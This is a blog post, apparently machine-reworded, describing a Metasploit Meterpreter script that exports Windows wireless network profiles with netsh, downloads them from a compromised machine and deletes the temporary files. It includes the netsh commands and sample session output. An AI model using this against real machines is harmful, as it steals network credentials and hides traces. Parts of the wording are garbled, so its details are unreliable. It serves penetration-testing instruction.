Categories: Kali Linux

Metasploit getwlanprofiles – Simple Script To Download Wireless Profiles From Windows Client

Metasploit getwlanprofiles is a Meterpreter script which when kept running against Windows 7 or Vista boxes will extract and download all the wireless profiles that are setup with the Windows customer, i.e. not with outsider customer applications.

It does this by using the following command to dump all the profiles to the current %TEMP% directory

netsh wlan export profile folder=%TEMP%

At that point for each line of the output finding the filename of the profile and downloading it. To clean up the record is then erased from the index.

Also Read WinPirate – Automated Sticky Keys Hack

The profiles are stored in the .msf3/logs/scripts/wlan_profiles/ directory.

To re-use the profiles they can be imported into another Windows box by using the following command

netsh wlan add profile filename="the_filename.xml"

Something that was found while testing this is whether you have an outer wifi card and setup the profiles at that point expel the card the profiles are never again accessible to the netsh script. When the card is reinserted the profiles return. There will in any case be an approach to get to them however Metasploit getwlanprofiles doesn’t do it.

Metasploit getwlanprofiles Usage

Simply uncompress the script and move it to the meterpreter/scripts directory. Also probably best remove the version number from the filename while doing so.

When you run Metasploit getwlanprofiles should look like this:

meterpreter > run getwlanprofiles 
[*] Running Windows Wlan Profile Downloader Meterpreter Script
[*] New session on 192.168.0.80:53831...
[*] Running export command - netsh wlan export profile folder=C:\Users\robin\AppData\Local\Temp
[*] Downloading profile wpa_profile to /home/robin/.msf3/logs/scripts/wlan_profiles/VISTA-DOMAIN_20110110.5030/wpa_profile.xml
[*]     Deleting file C:\Users\robin\AppData\Local\Temp\Wireless Network Connection 2-wpa.xml
[*] Downloading profile thisiswep to /home/robin/.msf3/logs/scripts/wlan_profiles/VISTA-DOMAIN_20110110.5030/thisiswep.xml
[*]     Deleting file C:\Users\robin\AppData\Local\Temp\Wireless Network Connection 2-thisiswep.xml
[*] Downloading profile eap to /home/robin/.msf3/logs/scripts/wlan_profiles/VISTA-DOMAIN_20110110.5030/eap.xml
[*]     Deleting file C:\Users\robin\AppData\Local\Temp\Wireless Network Connection 2-this is it.xml
[*] Found and extracted 3 profiles
[*] Done!

R K

Recent Posts

Bash Scripting Best Practices Every Beginner Should Know

Introduction Bash scripting is a powerful way to automate Linux tasks, but writing a script…

19 hours ago

How To Create A Self-Signed SSL Certificate Using Bash And OpenSSL

Introduction A self-signed SSL certificate is a certificate that is created and signed by the…

20 hours ago

How To Debug Bash Scripts Using bash -x And set Commands

Introduction Debugging is an important part of Bash scripting. When a script does not work…

1 day ago

How To Use Cron Jobs With Bash Scripts For Automation

Introduction Cron jobs are used in Linux to run commands or Bash scripts automatically at…

1 day ago

How To Use Pipes In Bash Scripts For Command Chaining

Introduction Pipes are an important feature in Linux and Bash scripting. A pipe allows you…

1 day ago

How To Use grep, awk, And sed In Bash Scripts

Introduction The grep, awk, and sed commands are powerful text-processing tools in Linux. They are…

1 day ago